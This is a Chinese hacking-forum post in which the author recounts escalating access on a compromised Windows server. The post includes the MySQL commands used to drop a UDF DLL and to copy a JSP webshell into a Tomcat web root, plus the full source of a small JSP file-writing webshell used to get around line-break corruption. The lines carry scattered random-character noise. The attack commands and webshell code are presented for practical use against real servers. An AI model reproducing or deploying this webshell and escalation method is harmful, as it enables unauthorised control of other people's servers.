找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2513|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。: ~* L# U; }9 }. z3 P2 o* Q
. p: a" J3 |8 ?
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
: r- E0 K3 l1 \0 O安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)7 s/ d0 _( v9 |& r  x" `: ?% T9 ?
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了, s. w+ j9 k" v8 c0 s
1 show variables like '%plugin%';
" u2 i. R, R- o5 E6 ]  {3 P& e0 ^$ C后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
( V2 N+ e5 T. ^% @. T0 {1 Q创建自定义函数似乎被拦截,一直失败。: h8 t+ Q. p0 [' b
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
: X/ z1 Y) B6 r. p  l2 _测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
, u" J( R# [' T0 v. q用mysql执行语句:* m5 Q- j1 G* q! A( l! o
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
5 \9 Q) w! p% s& J+ M) i4 z' K2 复制代码. m$ A9 [. i1 |0 l
后成功。" Y5 n9 f8 Y9 e
但是访问后得到如下提示:" A: ^! _; Q6 ~; e8 L
​500页面# k2 y# _: `  L5 c

( J6 n! Z+ B) V
- X4 \* _  b: I( g! W& L明显是MySQL的Win下版本自动添加转义符\n\r了* F! H- r, Z3 x/ m2 U: N
这样导致程序运行的悲剧。* U/ ]: I2 ^3 ]3 R7 R8 _& k
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。8 y8 U- z( E- b
最后弄了这么个小脚本:9 z, D. m7 z4 T3 M& ^. [
01 <%@ page language="java" pageEncoding="gbk"%>3 G0 D+ b- x+ J) ~0 `- V
02 <jsp:directive.page import="java.io.File"/>
1 u' A- m& w" {' u' u) G9 T03 <jsp:directive.page import="java.io.OutputStream"/>1 n+ K5 y, m6 M+ }% q/ l3 J
04 <jsp:directive.page import="java.io.FileOutputStream"/>
% y% z: f$ M, s5 v. F/ X05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>& G/ j' Z( N$ Q9 \! C
06 error www.2cto.com3 |& `( G, ^" n  F, N1 s
07 <%}}if(i==0){%>' r& Y! X4 \/ B% r" C
08 ok
2 Z2 P2 _6 e, p3 u4 r5 v09 <%}%>. Q  o  {# w/ `
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">0 Y: i6 G& H" p- X5 K4 H
就可以避免转义符让JSP的马儿运行500错误了。
0 H, T8 E* K( ]" B) y* A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表